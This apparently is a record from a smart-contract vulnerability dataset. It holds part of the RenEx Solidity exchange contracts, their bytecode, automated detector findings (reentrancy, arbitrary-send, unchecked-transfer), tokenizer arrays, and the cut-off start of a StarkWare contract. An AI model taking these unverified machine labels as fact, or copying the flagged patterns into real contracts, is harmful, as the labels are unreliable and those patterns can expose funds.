RenExAtomic swap. /// /// @param _buyID The 32 byte ID of the buy order. /// @param _sellID The 32 byte ID of the sell order. /// @param _buyer The address of the buy trader. /// @param _seller The address of the sell trader. /// @param _tokens The details of the priority and secondary tokens. function execute( bytes32 _buyID, bytes32 _sellID, address _buyer, address _seller, TokenPair memory _tokens ) private { // Calculate the fees for atomic swaps, and the settlement details // otherwise. SettlementDetails memory settlementDetails = (orderDetails[_buyID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID) ? settlementDetails = calculateAtomicFees(_buyID, _sellID, _tokens) : settlementDetails = calculateSettlementDetails(_buyID, _sellID, _tokens); // Transfer priority token value renExBalancesContract.transferBalanceWithFee( _buyer, _seller, settlementDetails.leftTokenAddress, settlementDetails.leftVolume, settlementDetails.leftTokenFee, orderSubmitter[_buyID] ); // Transfer secondary token value renExBalancesContract.transferBalanceWithFee( _seller, _buyer, settlementDetails.rightTokenAddress, settlementDetails.rightVolume, settlementDetails.rightTokenFee, orderSubmitter[_sellID] ); } /// @notice Calculates the details required to execute two matched orders. /// /// @param _buyID The 32 byte ID of the buy order. /// @param _sellID The 32 byte ID of the sell order. /// @param _tokens The details of the priority and secondary tokens. /// @return A struct containing the settlement details. function calculateSettlementDetails( bytes32 _buyID, bytes32 _sellID, TokenPair memory _tokens ) private view returns (SettlementDetails memory) { // Calculate the mid-price (using numerator and denominator to not loose // precision). Fraction memory midPrice = Fraction(orderDetails[_buyID].price + orderDetails[_sellID].price, 2); // Calculate the lower of the two max volumes of each trader uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume); uint256 priorityTokenVolume = joinFraction( commonVolume.mul(midPrice.numerator), midPrice.denominator, int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET ); uint256 secondaryTokenVolume = joinFraction( commonVolume, 1, int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET ); // Calculate darknode fees ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume); ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume); return SettlementDetails({ leftVolume: priorityVwF.value, rightVolume: secondaryVwF.value, leftTokenFee: priorityVwF.fees, rightTokenFee: secondaryVwF.fees, leftTokenAddress: _tokens.priorityToken.addr, rightTokenAddress: _tokens.secondaryToken.addr }); } /// @notice Calculates the fees to be transferred for an atomic swap. /// /// @param _buyID The 32 byte ID of the buy order. /// @param _sellID The 32 byte ID of the sell order. /// @param _tokens The details of the priority and secondary tokens. /// @return A struct containing the fee details. function calculateAtomicFees( bytes32 _buyID, bytes32 _sellID, TokenPair memory _tokens ) private view returns (SettlementDetails memory) { // Calculate the mid-price (using numerator and denominator to not loose // precision). Fraction memory midPrice = Fraction(orderDetails[_buyID].price + orderDetails[_sellID].price, 2); // Calculate the lower of the two max volumes of each trader uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume); if (isEthereumBased(_tokens.secondaryToken.addr)) { uint256 secondaryTokenVolume = joinFraction( commonVolume, 1, int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET ); // Calculate darknode fees ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume); return SettlementDetails({ leftVolume: 0, rightVolume: 0, leftTokenFee: secondaryVwF.fees, rightTokenFee: secondaryVwF.fees, leftTokenAddress: _tokens.secondaryToken.addr, rightTokenAddress: _tokens.secondaryToken.addr }); } else if (isEthereumBased(_tokens.priorityToken.addr)) { uint256 priorityTokenVolume = joinFraction( commonVolume.mul(midPrice.numerator), midPrice.denominator, int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET ); // Calculate darknode fees ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume); return SettlementDetails({ leftVolume: 0, rightVolume: 0, leftTokenFee: priorityVwF.fees, rightTokenFee: priorityVwF.fees, leftTokenAddress: _tokens.priorityToken.addr, rightTokenAddress: _tokens.priorityToken.addr }); } else { // Currently, at least one token must be Ethereum-based. // This will be implemented in the future. revert("non-eth atomic swaps are not supported"); } } /// @notice Order parity is set by the order tokens are listed. This returns /// whether an order is a buy or a sell. /// @return true if _orderID is a buy order. function isBuyOrder(bytes32 _orderID) private view returns (bool) { uint64 tokens = orderDetails[_orderID].tokens; uint32 firstToken = uint32(tokens >> 32); uint32 secondaryToken = uint32(tokens); return (firstToken < secondaryToken); } /// @return (value - fee, fee) where fee is 0.2% of value function subtractDarknodeFee(uint256 _value) private pure returns (ValueWithFees memory) { uint256 newValue = (_value * (DARKNODE_FEES_DENOMINATOR - DARKNODE_FEES_NUMERATOR)) / DARKNODE_FEES_DENOMINATOR; return ValueWithFees(newValue, _value - newValue); } /// @notice Gets the order details of the priority and secondary token from /// the RenExTokens contract and returns them as a single struct. /// /// @param _tokens The 64-bit combined token identifiers. /// @return A TokenPair struct containing two TokenDetails structs. function getTokenDetails(uint64 _tokens) private view returns (TokenPair memory) { ( address priorityAddress, uint8 priorityDecimals, bool priorityRegistered ) = renExTokensContract.tokens(uint32(_tokens >> 32)); ( address secondaryAddress, uint8 secondaryDecimals, bool secondaryRegistered ) = renExTokensContract.tokens(uint32(_tokens)); return TokenPair({ priorityToken: RenExTokens.TokenDetails(priorityAddress, priorityDecimals, priorityRegistered), secondaryToken: RenExTokens.TokenDetails(secondaryAddress, secondaryDecimals, secondaryRegistered) }); } /// @return true if _tokenAddress is 0x0, representing a token that is not /// on Ethereum function isEthereumBased(address _tokenAddress) private pure returns (bool) { return (_tokenAddress != address(0x0)); } /// @notice Computes (_numerator / _denominator) * 10 ** _scale function joinFraction(uint256 _numerator, uint256 _denominator, int16 _scale) private pure returns (uint256) { if (_scale >= 0) { // Check that (10**_scale) doesn't overflow assert(_scale <= 77); // log10(2**256) = 77.06 return _numerator.mul(10 ** uint256(_scale)) / _denominator; } else { /// @dev If _scale is less than -77, 10**-_scale would overflow. // For now, -_scale > -24 (when a token has 0 decimals and // VOLUME_OFFSET and PRICE_OFFSET are each 12). It is unlikely these // will be increased to add to more than 77. // assert((-_scale) <= 77); // log10(2**256) = 77.06 return (_numerator / _denominator) / 10 ** uint256(-_scale); } } } /// @notice RenExBrokerVerifier implements the BrokerVerifier contract, /// verifying broker signatures for order opening and fund withdrawal. contract RenExBrokerVerifier is Ownable { string public VERSION; // Passed in as a constructor parameter. // Events event LogBalancesContractUpdated(address previousBalancesContract, address nextBalancesContract); event LogBrokerRegistered(address broker); event LogBrokerDeregistered(address broker); // Storage mapping(address => bool) public brokers; mapping(address => uint256) public traderNonces; address public balancesContract; modifier onlyBalancesContract() { require(msg.sender == balancesContract, "not authorized"); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. constructor(string _VERSION) public { VERSION = _VERSION; } /// @notice Allows the owner of the contract to update the address of the /// RenExBalances contract. /// /// @param _balancesContract The address of the new balances contract function updateBalancesContract(address _balancesContract) external onlyOwner { emit LogBalancesContractUpdated(balancesContract, _balancesContract); balancesContract = _balancesContract; } /// @notice Approved an address to sign order-opening and withdrawals. /// @param _broker The address of the broker. function registerBroker(address _broker) external onlyOwner { require(!brokers[_broker], "already registered"); brokers[_broker] = true; emit LogBrokerRegistered(_broker); } /// @notice Reverts the a broker's registration. /// @param _broker The address of the broker. function deregisterBroker(address _broker) external onlyOwner { require(brokers[_broker], "not registered"); brokers[_broker] = false; emit LogBrokerDeregistered(_broker); } /// @notice Verifies a broker's signature for an order opening. /// The data signed by the broker is a prefixed message and the order ID. /// /// @param _trader The trader requesting the withdrawal. /// @param _signature The 65-byte signature from the broker. /// @param _orderID The 32-byte order ID. /// @return True if the signature is valid, false otherwise. function verifyOpenSignature( address _trader, bytes _signature, bytes32 _orderID ) external view returns (bool) { bytes memory data = abi.encodePacked("Republic Protocol: open: ", _trader, _orderID); address signer = Utils.addr(data, _signature); return (brokers[signer] == true); } /// @notice Verifies a broker's signature for a trader withdrawal. /// The data signed by the broker is a prefixed message, the trader address /// and a 256-bit trader nonce, which is incremented every time a valid /// signature is checked. /// /// @param _trader The trader requesting the withdrawal. /// @param _signature 65-byte signature from the broker. /// @return True if the signature is valid, false otherwise. function verifyWithdrawSignature( address _trader, bytes _signature ) external onlyBalancesContract returns (bool) { bytes memory data = abi.encodePacked("Republic Protocol: withdraw: ", _trader, traderNonces[_trader]); address signer = Utils.addr(data, _signature); if (brokers[signer]) { traderNonces[_trader] += 1; return true; } return false; } } /// @notice RenExBalances is responsible for holding RenEx trader funds. contract RenExBalances is Ownable { using SafeMath for uint256; using CompatibleERC20Functions for CompatibleERC20; string public VERSION; // Passed in as a constructor parameter. RenExSettlement public settlementContract; RenExBrokerVerifier public brokerVerifierContract; DarknodeRewardVault public rewardVaultContract; /// @dev Should match the address in the DarknodeRewardVault address constant public ETHEREUM = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // Delay between a trader calling `withdrawSignal` and being able to call // `withdraw` without a broker signature. uint256 constant public SIGNAL_DELAY = 48 hours; // Events event LogBalanceDecreased(address trader, ERC20 token, uint256 value); event LogBalanceIncreased(address trader, ERC20 token, uint256 value); event LogRenExSettlementContractUpdated(address previousRenExSettlementContract, address newRenExSettlementContract); event LogRewardVaultContractUpdated(address previousRewardVaultContract, address newRewardVaultContract); event LogBrokerVerifierContractUpdated(address previousBrokerVerifierContract, address newBrokerVerifierContract); // Storage mapping(address => mapping(address => uint256)) public traderBalances; mapping(address => mapping(address => uint256)) public traderWithdrawalSignals; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _rewardVaultContract The address of the RewardVault contract. constructor( string _VERSION, DarknodeRewardVault _rewardVaultContract, RenExBrokerVerifier _brokerVerifierContract ) public { VERSION = _VERSION; rewardVaultContract = _rewardVaultContract; brokerVerifierContract = _brokerVerifierContract; } /// @notice Restricts a function to only being called by the RenExSettlement /// contract. modifier onlyRenExSettlementContract() { require(msg.sender == address(settlementContract), "not authorized"); _; } /// @notice Restricts trader withdrawing to be called if a signature from a /// RenEx broker is provided, or if a certain amount of time has passed /// since a trader has called `signalBackupWithdraw`. /// @dev If the trader is withdrawing after calling `signalBackupWithdraw`, /// this will reset the time to zero, writing to storage. modifier withBrokerSignatureOrSignal(address _token, bytes _signature) { address trader = msg.sender; if (brokerVerifierContract.verifyWithdrawSignature(trader, _signature)) { _; } else { bool hasSignalled = traderWithdrawalSignals[trader][_token] != 0; /* solium-disable-next-line security/no-block-members */ bool hasWaitedDelay = (now - traderWithdrawalSignals[trader][_token]) > SIGNAL_DELAY; require(hasSignalled && hasWaitedDelay, "not signalled"); traderWithdrawalSignals[trader][_token] = 0; _; } } /// @notice Allows the owner of the contract to update the address of the /// RenExSettlement contract. /// /// @param _newSettlementContract the address of the new settlement contract function updateRenExSettlementContract(RenExSettlement _newSettlementContract) external onlyOwner { emit LogRenExSettlementContractUpdated(settlementContract, _newSettlementContract); settlementContract = _newSettlementContract; } /// @notice Allows the owner of the contract to update the address of the /// DarknodeRewardVault contract. /// /// @param _newRewardVaultContract the address of the new reward vault contract function updateRewardVaultContract(DarknodeRewardVault _newRewardVaultContract) external onlyOwner { emit LogRewardVaultContractUpdated(rewardVaultContract, _newRewardVaultContract); rewardVaultContract = _newRewardVaultContract; } /// @notice Allows the owner of the contract to update the address of the /// RenExBrokerVerifier contract. /// /// @param _newBrokerVerifierContract the address of the new broker verifier contract function updateBrokerVerifierContract(RenExBrokerVerifier _newBrokerVerifierContract) external onlyOwner { emit LogBrokerVerifierContractUpdated(brokerVerifierContract, _newBrokerVerifierContract); brokerVerifierContract = _newBrokerVerifierContract; } /// @notice Transfer a token value from one trader to another, transferring /// a fee to the RewardVault. Can only be called by the RenExSettlement /// contract. /// /// @param _traderFrom The address of the trader to decrement the balance of. /// @param _traderTo The address of the trader to increment the balance of. /// @param _token The token's address. /// @param _value The number of tokens to decrement the balance by (in the /// token's smallest unit). /// @param _fee The fee amount to forward on to the RewardVault. /// @param _feePayee The recipient of the fee. function transferBalanceWithFee(address _traderFrom, address _traderTo, address _token, uint256 _value, uint256 _fee, address _feePayee) external onlyRenExSettlementContract { require(traderBalances[_traderFrom][_token] >= _fee, "insufficient funds for fee"); if (address(_token) == ETHEREUM) { rewardVaultContract.deposit.value(_fee)(_feePayee, ERC20(_token), _fee); } else { CompatibleERC20(_token).safeApprove(rewardVaultContract, _fee); rewardVaultContract.deposit(_feePayee, ERC20(_token), _fee); } privateDecrementBalance(_traderFrom, ERC20(_token), _value + _fee); if (_value > 0) { privateIncrementBalance(_traderTo, ERC20(_token), _value); } } /// @notice Deposits ETH or an ERC20 token into the contract. /// /// @param _token The token's address (must be a registered token). /// @param _value The amount to deposit in the token's smallest unit. function deposit(ERC20 _token, uint256 _value) external payable { address trader = msg.sender; if (address(_token) == ETHEREUM) { require(msg.value == _value, "mismatched value parameter and tx value"); } else { require(msg.value == 0, "unexpected ether transfer"); CompatibleERC20(_token).safeTransferFromWithFees(trader, this, _value); } privateIncrementBalance(trader, _token, _value); } /// @notice Withdraws ETH or an ERC20 token from the contract. A broker /// signature is required to guarantee that the trader has a sufficient /// balance after accounting for open orders. As a trustless backup, /// traders can withdraw 48 hours after calling `signalBackupWithdraw`. /// /// @param _token The token's address. /// @param _value The amount to withdraw in the token's smallest unit. /// @param _signature The broker signature function withdraw(ERC20 _token, uint256 _value, bytes _signature) external withBrokerSignatureOrSignal(_token, _signature) { address trader = msg.sender; privateDecrementBalance(trader, _token, _value); if (address(_token) == ETHEREUM) { trader.transfer(_value); } else { CompatibleERC20(_token).safeTransfer(trader, _value); } } /// @notice A trader can withdraw without needing a broker signature if they /// first call `signalBackupWithdraw` for the token they want to withdraw. /// The trader can only withdraw the particular token once for each call to /// this function. Traders can signal the intent to withdraw multiple /// tokens. /// Once this function is called, brokers will not sign order-opens for the /// trader until the trader has withdrawn, guaranteeing that they won't have /// orders open for the particular token. function signalBackupWithdraw(address _token) external { /* solium-disable-next-line security/no-block-members */ traderWithdrawalSignals[msg.sender][_token] = now; } function privateIncrementBalance(address _trader, ERC20 _token, uint256 _value) private { traderBalances[_trader][_token] = traderBalances[_trader][_token].add(_value); emit LogBalanceIncreased(_trader, _token, _value); } function privateDecrementBalance(address _trader, ERC20 _token, uint256 _value) private { require(traderBalances[_trader][_token] >= _value, "insufficient funds"); traderBalances[_trader][_token] = traderBalances[_trader][_token].sub(_value); emit LogBalanceDecreased(_trader, _token, _value); } }
0x6080604052600436106100e25763ffffffff60e060020a600035041663080bdfa881146100e75780631d65551d1461011857806323017a3a1461013b57806331f092651461015057806334814e581461018157806347e7ef24146101bc57806367aa50ae146101d3578063715018a6146101f45780638da5cb5b1461020957806395b8cf551461021e578063c43c633b1461023f578063e12cbb3c14610278578063e1c3aedc1461028d578063ea42418b146102ae578063f2fde38b146102c3578063f7cdf47c146102e4578063fc257baa146102f9578063ffa1ad7414610320575b600080fd5b3480156100f357600080fd5b506100fc6103aa565b60408051600160a060020a039092168252519081900360200190f35b34801561012457600080fd5b50610139600160a060020a03600435166103b9565b005b34801561014757600080fd5b506100fc610447565b34801561015c57600080fd5b5061013960048035600160a060020a0316906024803591604435918201910135610456565b34801561018d57600080fd5b50610139600160a060020a03600435811690602435811690604435811690606435906084359060a43516610772565b610139600160a060020a03600435166024356109eb565b3480156101df57600080fd5b50610139600160a060020a0360043516610b16565b34801561020057600080fd5b50610139610ba4565b34801561021557600080fd5b506100fc610c10565b34801561022a57600080fd5b50610139600160a060020a0360043516610c1f565b34801561024b57600080fd5b50610266600160a060020a0360043581169060243516610c48565b60408051918252519081900360200190f35b34801561028457600080fd5b50610266610c65565b34801561029957600080fd5b50610139600160a060020a0360043516610c6c565b3480156102ba57600080fd5b506100fc610cfa565b3480156102cf57600080fd5b50610139600160a060020a0360043516610d09565b3480156102f057600080fd5b506100fc610d2c565b34801561030557600080fd5b50610266600160a060020a0360043581169060243516610d44565b34801561032c57600080fd5b50610335610d61565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036f578181015183820152602001610357565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600354600160a060020a031681565b600054600160a060020a031633146103d057600080fd5b60025460408051600160a060020a039283168152918316602083015280517f8108e388ca125ce52d732c3507bc30e14194e147d133753ca55d6b5f109467ae9281900390910190a16002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b60008483838080601f0160208091040260200160405190810160405280939291908181526020018383808284375050600354604080517fc043df8c00000000000000000000000000000000000000000000000000000000815233600482018181526024830193845289516044840152895191985060009750879650600160a060020a03909416945063c043df8c9388938a93919290916064019060208501908083838c5b838110156105125781810151838201526020016104fa565b50505050905090810190601f16801561053f5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561055f57600080fd5b505af1158015610573573d6000803e3d6000fd5b505050506040513d602081101561058957600080fd5b50511561061e5733955061059e868b8b610dee565b600160a060020a038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156105ff57604051600160a060020a038716908a156108fc02908b906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b50610619565b610619600160a060020a038b16878b63ffffffff610f1116565b610766565b5050600160a060020a0381811660009081526006602090815260408083209387168352929052205480158015916202a30042919091031190829061065f5750805b15156106b5576040805160e560020a62461bcd02815260206004820152600d60248201527f6e6f74207369676e616c6c656400000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0380841660009081526006602090815260408083209389168352929052908120553395506106eb868b8b610dee565b600160a060020a038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561074c57604051600160a060020a038716908a156108fc02908b906000818181858888f19350505050158015610746573d6000803e3d6000fd5b50610766565b610766600160a060020a038b16878b63ffffffff610f1116565b50505050505050505050565b600254600160a060020a031633146107d4576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f7420617574686f72697a6564000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03808716600090815260056020908152604080832093881683529290522054821115610851576040805160e560020a62461bcd02815260206004820152601a60248201527f696e73756666696369656e742066756e647320666f7220666565000000000000604482015290519081900360640190fd5b600160a060020a03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561090f5760048054604080517f8340f549000000000000000000000000000000000000000000000000000000008152600160a060020a038581169482019490945287841660248201526044810186905290519290911691638340f549918591606480830192600092919082900301818588803b1580156108f157600080fd5b505af1158015610905573d6000803e3d6000fd5b50505050506109c2565b60045461092f90600160a060020a0386811691168463ffffffff610fea16565b60048054604080517f8340f549000000000000000000000000000000000000000000000000000000008152600160a060020a038581169482019490945287841660248201526044810186905290519290911691638340f5499160648082019260009290919082900301818387803b1580156109a957600080fd5b505af11580156109bd573d6000803e3d6000fd5b505050505b6109cf8685848601610dee565b60008311156109e3576109e38585856110c3565b505050505050565b33600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610a9357348214610a8e576040805160e560020a62461bcd02815260206004820152602760248201527f6d69736d6174636865642076616c756520706172616d6574657220616e64207460448201527f782076616c756500000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610b06565b3415610ae9576040805160e560020a62461bcd02815260206004820152601960248201527f756e6578706563746564206574686572207472616e7366657200000000000000604482015290519081900360640190fd5b610b04600160a060020a03841682308563ffffffff61116916565b505b610b118184846110c3565b505050565b600054600160a060020a03163314610b2d57600080fd5b60035460408051600160a060020a039283168152918316602083015280517f320ee0620117fe5b31d2b2ca97b2a711e2045489d6eb5290a73f04747f1819be9281900390910190a16003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610bbb57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b336000908152600660209081526040808320600160a060020a0394909416835292905220429055565b600560209081526000928352604080842090915290825290205481565b6202a30081565b600054600160a060020a03163314610c8357600080fd5b60045460408051600160a060020a039283168152918316602083015280517f6c348498f095f3d7eb84de1c0bf7fd7db8217d2fdd2af573ad0fa3642901c2459281900390910190a16004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600054600160a060020a03163314610d2057600080fd5b610d298161138e565b50565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b600660209081526000928352604080842090915290825290205481565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610de65780601f10610dbb57610100808354040283529160200191610de6565b820191906000526020600020905b815481529060010190602001808311610dc957829003601f168201915b505050505081565b600160a060020a03808416600090815260056020908152604080832093861683529290522054811115610e6b576040805160e560020a62461bcd02815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03808416600090815260056020908152604080832093861683529290522054610ea1908263ffffffff61140b16565b600160a060020a038085166000818152600560209081526040808320948816808452948252918290209490945580519182529281019190915280820183905290517f2622669645a3d6b14dc5d6134367eb988c1b617ea2df59f8aa0f102ba049977c9181900360600190a1505050565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b158015610f7457600080fd5b505af1158015610f88573d6000803e3d6000fd5b50505050610f9461141d565b1515610b11576040805160e560020a62461bcd02815260206004820152600f60248201527f7472616e73666572206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b82600160a060020a031663095ea7b383836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b15801561104d57600080fd5b505af1158015611061573d6000803e3d6000fd5b5050505061106d61141d565b1515610b11576040805160e560020a62461bcd02815260206004820152600e60248201527f617070726f7665206661696c6564000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038084166000908152600560209081526040808320938616835292905220546110f9908263ffffffff61145116565b600160a060020a038085166000818152600560209081526040808320948816808452948252918290209490945580519182529281019190915280820183905290517f8d6dc51e8945c5e6a4ddb872612ec2b1f5e375a97daebdbb6a03a64e7c6592099181900360600190a1505050565b600080600086600160a060020a03166370a08231866040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156111c957600080fd5b505af11580156111dd573d6000803e3d6000fd5b505050506040513d60208110156111f357600080fd5b5051604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0389811660048301528881166024830152604482018890529151929450908916916323b872dd9160648082019260009290919082900301818387803b15801561126b57600080fd5b505af115801561127f573d6000803e3d6000fd5b5050505061128b61141d565b15156112e1576040805160e560020a62461bcd02815260206004820152601360248201527f7472616e7366657246726f6d206661696c656400000000000000000000000000604482015290519081900360640190fd5b86600160a060020a03166370a08231866040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b505050506040513d602081101561136657600080fd5b505190506113838461137e838563ffffffff61140b16565b611464565b979650505050505050565b600160a060020a03811615156113a357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561141757fe5b50900390565b6000803d8015611434576020811461143d57611449565b60019150611449565b60206000803e60005191505b501515919050565b8181018281101561145e57fe5b92915050565b60008183106114735781611475565b825b93925050505600a165627a7a72305820dde6b2569bdae7216ddb4d7e826136cdafba8370bb67cf237e90222449a5578a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21619, 2546, 2683, 6305, 24434, 2487, 3540, 2692, 2683, 26187, 2497, 2581, 2278, 2475, 2497, 2549, 4215, 17134, 2278, 2549, 9468, 21084, 2094, 2692, 4246, 2475, 16409, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,101
0x96375087b2F6eFc59e5e0dd5111B4d090EBFDD8B
/* Copyright 2019-2021 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; import "FactRegistry.sol"; contract MemoryPageFactRegistryConstants { // A page based on a list of pairs (address, value). // In this case, memoryHash = hash(address, value, address, value, address, value, ...). uint256 internal constant REGULAR_PAGE = 0; // A page based on adjacent memory cells, starting from a given address. // In this case, memoryHash = hash(value, value, value, ...). uint256 internal constant CONTINUOUS_PAGE = 1; } /* A fact registry for the claim: I know n pairs (addr, value) for which the hash of the pairs is memoryHash, and the cumulative product: \prod_i( z - (addr_i + alpha * value_i) ) is prod. The exact format of the hash depends on the type of the page (see MemoryPageFactRegistryConstants). The fact consists of (pageType, prime, n, z, alpha, prod, memoryHash, address). Note that address is only available for CONTINUOUS_PAGE, and otherwise it is 0. */ contract MemoryPageFactRegistry is FactRegistry, MemoryPageFactRegistryConstants { event LogMemoryPageFactRegular(bytes32 factHash, uint256 memoryHash, uint256 prod); event LogMemoryPageFactContinuous(bytes32 factHash, uint256 memoryHash, uint256 prod); /* Registers a fact based of the given memory (address, value) pairs (REGULAR_PAGE). */ function registerRegularMemoryPage( uint256[] calldata memoryPairs, uint256 z, uint256 alpha, uint256 prime ) external returns ( bytes32 factHash, uint256 memoryHash, uint256 prod ) { require(memoryPairs.length < 2**20, "Too many memory values."); require(memoryPairs.length % 2 == 0, "Size of memoryPairs must be even."); require(z < prime, "Invalid value of z."); require(alpha < prime, "Invalid value of alpha."); (factHash, memoryHash, prod) = computeFactHash(memoryPairs, z, alpha, prime); emit LogMemoryPageFactRegular(factHash, memoryHash, prod); registerFact(factHash); } function computeFactHash( uint256[] memory memoryPairs, uint256 z, uint256 alpha, uint256 prime ) internal pure returns ( bytes32 factHash, uint256 memoryHash, uint256 prod ) { uint256 memorySize = memoryPairs.length / 2; // NOLINT: divide-before-multiply. prod = 1; assembly { let memoryPtr := add(memoryPairs, 0x20) // Each value of memoryPairs is a pair: (address, value). let lastPtr := add(memoryPtr, mul(memorySize, 0x40)) for { let ptr := memoryPtr } lt(ptr, lastPtr) { ptr := add(ptr, 0x40) } { // Compute address + alpha * value. let address_value_lin_comb := addmod( // address= mload(ptr), mulmod( // value= mload(add(ptr, 0x20)), alpha, prime ), prime ) prod := mulmod(prod, add(z, sub(prime, address_value_lin_comb)), prime) } memoryHash := keccak256( memoryPtr, mul( // 0x20 * 2. 0x40, memorySize ) ) } factHash = keccak256( abi.encodePacked( REGULAR_PAGE, prime, memorySize, z, alpha, prod, 